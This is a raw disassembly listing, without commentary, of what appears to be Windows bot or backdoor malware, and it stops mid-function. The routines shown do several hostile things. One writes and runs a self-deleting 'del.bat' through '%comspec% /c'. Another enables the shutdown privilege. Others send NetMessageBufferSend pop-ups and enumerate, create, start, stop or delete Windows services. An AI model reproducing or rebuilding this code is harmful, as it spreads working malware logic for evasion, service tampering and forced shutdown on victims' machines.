sub_418338	proc near		; CODE XREF: sub_401ACD+16B2p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419652
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4CB594
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418338	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41835A	proc near		; CODE XREF: sub_401ACD+2755p
					; ___:0041686Cp

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_429090, esi
		push	edi
		jz	short loc_41837E
		cmp	dword_4CB724, esi
		jnz	short loc_41837E
		push	esi
		call	sub_401000
		pop	ecx


loc_41837E:				; CODE XREF: sub_41835A+13j
					; sub_41835A+1Bj
		call	sub_40B2C0
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 27009BAh
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4184DE
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 26F0000h
		nop
		push	edi
		call	near ptr 26608E3h
		nop
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset dword_43D808
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2680DC2h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		call	near ptr 2680C71h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418486
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680B8Ah
		nop


loc_418486:				; CODE XREF: sub_41835A+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		nop
		call	near ptr 2800000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		nop
		call	near ptr 2660B96h


loc_4184DE:				; CODE XREF: sub_41835A+72j
		pop	edi
		pop	esi
		leave
		retn
sub_41835A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4184E2	proc near		; CODE XREF: sub_401ACD+7233p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D05B2h
		cmp	[ebp+var_84], 2
		jnz	short loc_418578
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4CB5D4
		push	edi
		push	eax
		call	dword_4CB5E4
		test	eax, eax
		jz	short loc_41856A
		push	[ebp+arg_10]
		push	offset dword_439074


loc_418543:				; CODE XREF: sub_4184E2+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 20h
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_41856A:				; CODE XREF: sub_4184E2+57j
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_43904C
		jmp	short loc_418543
; ---------------------------------------------------------------------------


loc_418578:				; CODE XREF: sub_4184E2+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_43901C
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 1Ch


loc_4185A2:				; CODE XREF: sub_4184E2+86j
		pop	edi
		leave
		retn
sub_4184E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185A5	proc near		; CODE XREF: sub_401ACD+55FFp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26D05B2h
		nop
		cmp	[ebp+var_90], 4
		jnz	short loc_4185FB
		cmp	[ebp+var_8C], 0
		jnz	short loc_4185E4
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_4185FB
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185E4:				; CODE XREF: sub_4185A5+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_4185F6
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_4185FB


loc_4185F6:				; CODE XREF: sub_4185A5+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185FB:				; CODE XREF: sub_4185A5+27j
					; sub_4185A5+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		nop
		call	near ptr 26B037Ch
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41D834
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41D834
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41D817
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 2780459h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4185A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418685	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		call	near ptr 26907ACh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41C798
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418685	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186C2	proc near		; CODE XREF: sub_401ACD:loc_406127p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_41871A
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_439098[esi]
		push	edi
		push	eax
		call	sub_41873C
		add	esp, 14h
		test	eax, eax
		jnz	short loc_41870A
		push	edi
		push	off_439094[esi]
		push	offset unk_4391A8


loc_4186FA:				; CODE XREF: sub_4186C2+56j
		mov	esi, offset dword_4DB6D0
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418737
; ---------------------------------------------------------------------------


loc_41870A:				; CODE XREF: sub_4186C2+2Aj
		push	eax
		call	sub_4187DE
		pop	ecx
		push	eax
		push	edi
		push	offset unk_43917C
		jmp	short loc_4186FA
; ---------------------------------------------------------------------------


loc_41871A:				; CODE XREF: sub_4186C2+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4DB6D0
		push	off_439090[eax*4]
		push	offset unk_439158
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418737:				; CODE XREF: sub_4186C2+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4186C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41873C	proc near		; CODE XREF: sub_4186C2+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4CB648
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418763
		nop
		call	near ptr 2680867h
		mov	ebx, eax
		jmp	short loc_4187D8
; ---------------------------------------------------------------------------


loc_418763:				; CODE XREF: sub_41873C+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4CB530
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418783
		nop
		call	near ptr 2680867h
		mov	ebx, eax
		jmp	short loc_4187D0
; ---------------------------------------------------------------------------


loc_418783:				; CODE XREF: sub_41873C+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_4187B6
		cmp	eax, 3
		jz	short loc_4187A7
		jle	short loc_4187C9
		cmp	eax, 6
		jg	short loc_4187C9
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4CB59C
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187A7:				; CODE XREF: sub_41873C+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4CB538
		jmp	short loc_4187BD
; ---------------------------------------------------------------------------


loc_4187B6:				; CODE XREF: sub_41873C+4Dj
		push	esi
		call	dword_4CB5A0


loc_4187BD:				; CODE XREF: sub_41873C+69j
					; sub_41873C+78j
		test	eax, eax
		jnz	short loc_4187C9
		nop
		call	near ptr 2680867h
		mov	ebx, eax


loc_4187C9:				; CODE XREF: sub_41873C+54j
					; sub_41873C+59j ...
		push	esi
		call	dword_4CB54C


loc_4187D0:				; CODE XREF: sub_41873C+45j
		push	edi
		call	dword_4CB54C
		pop	esi


loc_4187D8:				; CODE XREF: sub_41873C+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_41873C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187DE	proc near		; CODE XREF: sub_4186C2+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418893
		jz	loc_41888C
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418856
		jz	short loc_41884C
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418842
		dec	ecx
		dec	ecx
		jz	short loc_418838
		dec	ecx
		jz	short loc_41882E
		sub	ecx, 51h
		jz	short loc_418824
		sub	ecx, 24h
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418824:				; CODE XREF: sub_4187DE+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41882E:				; CODE XREF: sub_4187DE+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418838:				; CODE XREF: sub_4187DE+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418842:				; CODE XREF: sub_4187DE+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_41884C:				; CODE XREF: sub_4187DE+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418856:				; CODE XREF: sub_4187DE+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418885
		dec	ecx
		jz	short loc_41887E
		dec	ecx
		jz	short loc_418877
		dec	ecx
		jnz	loc_418909	; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_4188FB
; ---------------------------------------------------------------------------


loc_418877:				; CODE XREF: sub_4187DE+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41887E:				; CODE XREF: sub_4187DE+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418885:				; CODE XREF: sub_4187DE+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_41888C:				; CODE XREF: sub_4187DE+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_418893:				; CODE XREF: sub_4187DE+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_4188F6
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418909 ; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_41894A[ecx]
		jmp	off_418922[ecx*4] ; switch jump


loc_4188B7:				; DATA XREF: ___:off_418922o
		push	offset aTheSpecifiedDa ; jumptable 004188B0 case 7
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188BE:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDepe ; jumptable 004188B0 case 17
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188C5:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceDe_0 ; jumptable 004188B0 case 10
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188CC:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasB ; jumptable 004188B0 case 0
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188D3:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheSpecified_0 ; jumptable 004188B0 case 2
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188DA:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceCoul ; jumptable 004188B0 case 11
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E1:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHa_0 ; jumptable 004188B0 case 14
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188E8:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheRequested_1 ; jumptable 004188B0 case 3
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188EF:				; CODE XREF: sub_4187DE+D2j
					; DATA XREF: ___:off_418922o
		push	offset aTheServiceHasN ; jumptable 004188B0 case 4
		jmp	short loc_4188FB
; ---------------------------------------------------------------------------


loc_4188F6:				; CODE XREF: sub_4187DE+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_4188FB:				; CODE XREF: sub_4187DE+41j
					; sub_4187DE+4Bj ...
		push	offset dword_4DB010
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_41891C
; ---------------------------------------------------------------------------


loc_418909:				; CODE XREF: sub_4187DE+36j
					; sub_4187DE+89j ...
		push	eax		; default
					; jumptable 004188B0 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4DB010
		call	sub_41B886
		add	esp, 0Ch


loc_41891C:				; CODE XREF: sub_4187DE+129j
		mov	eax, offset dword_4DB010
		retn
sub_4187DE	endp

; ---------------------------------------------------------------------------
off_418922	dd offset loc_4188CC	; DATA XREF: sub_4187DE+D2r
		dd offset loc_4188D3	; jump table for switch	statement
		dd offset loc_4188E8
		dd offset loc_4188EF
		dd offset loc_4188B7
		dd offset loc_4188C5
		dd offset loc_4188DA
		dd offset loc_4188E1
		dd offset loc_4188BE
		dd offset loc_418909
byte_41894A	db	0,     9,     1,     2 ; DATA XREF: sub_4187DE+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41895C	proc near		; CODE XREF: sub_401ACD+45D4p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	dword_4CB648
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_418994:				; CODE XREF: sub_41895C+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	dword_4CB614
		test	eax, eax
		jnz	short loc_4189CE
		nop
		call	near ptr 2680867h
		cmp	eax, 0EAh
		jnz	loc_418A82


loc_4189CE:				; CODE XREF: sub_41895C+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_418A79
		lea	esi, [ebp+var_188]


loc_4189DF:				; CODE XREF: sub_41895C+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_418A28
		dec	eax
		jz	short loc_418A21
		dec	eax
		jz	short loc_418A1A
		dec	eax
		jz	short loc_418A13
		dec	eax
		jz	short loc_418A0C
		dec	eax
		jz	short loc_418A05
		dec	eax
		jz	short loc_4189FE
		push	offset aUnknown_0 ; "	 Unknown"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_4189FE:				; CODE XREF: sub_41895C+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A05:				; CODE XREF: sub_41895C+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A0C:				; CODE XREF: sub_41895C+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A13:				; CODE XREF: sub_41895C+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A1A:				; CODE XREF: sub_41895C+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A21:				; CODE XREF: sub_41895C+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2D
; ---------------------------------------------------------------------------


loc_418A28:				; CODE XREF: sub_41895C+87j
		push	offset aStopped	; "    Stopped"


loc_418A2D:				; CODE XREF: sub_41895C+A0j
					; sub_41895C+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DF


loc_418A79:				; CODE XREF: sub_41895C+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418994


loc_418A82:				; CODE XREF: sub_41895C+6Cj
		push	[ebp+var_C]
		call	dword_4CB54C
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A99	proc near		; CODE XREF: sub_401ACD:loc_406167p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B33
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC2
		dec	eax
		jnz	short loc_418B13
		push	edi
		push	0
		call	sub_418C6C
		pop	ecx
		pop	ecx
		jmp	short loc_418B0F
; ---------------------------------------------------------------------------


loc_418AC2:				; CODE XREF: sub_418A99+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B01
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B01
		push	57h
		pop	eax


loc_418AD9:				; CODE XREF: sub_418A99+78j
		push	eax
		call	sub_419460
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439090[eax*4]
		push	offset unk_43973C
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B01:				; CODE XREF: sub_418A99+2Dj
					; sub_418A99+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BC0
		add	esp, 0Ch


loc_418B0F:				; CODE XREF: sub_418A99+27j
		test	eax, eax
		jnz	short loc_418AD9


loc_418B13:				; CODE XREF: sub_418A99+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2CC
		push	off_439094[eax*4]
		push	offset dword_439720
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B53
; ---------------------------------------------------------------------------


loc_418B33:				; CODE XREF: sub_418A99+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2CC
		lea	eax, [eax+eax*2]
		push	off_439090[eax*4]
		push	offset unk_4396FC
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B53:				; CODE XREF: sub_418A99+66j
					; sub_418A99+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A99	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B59	proc near		; CODE XREF: sub_419E7A+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B66
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B66:				; CODE XREF: sub_418B59+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi
		test	byte_4DB4CC, 1
		mov	ebp, eax
		jnz	short loc_418BA3
		or	byte_4DB4CC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB26C, eax


loc_418BA3:				; CODE XREF: sub_418B59+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB26C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi
		mov	eax, dword_4DB26C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BC0	proc near		; CODE XREF: sub_418A99+6Ep
					; sub_41A19E+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2B
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2B
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2B
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB548
		pop	edi
		leave
		retn
sub_418BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2B	proc near		; CODE XREF: sub_418BC0+Ap
					; sub_418BC0+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C38
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C38:				; CODE XREF: sub_418C2B+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6C	proc near		; CODE XREF: sub_418A99+20p
					; sub_419E7A+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2B
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2B
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB520
		pop	esi
		retn
sub_418C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8F	proc near		; CODE XREF: sub_401ACD+46B1p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2B
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
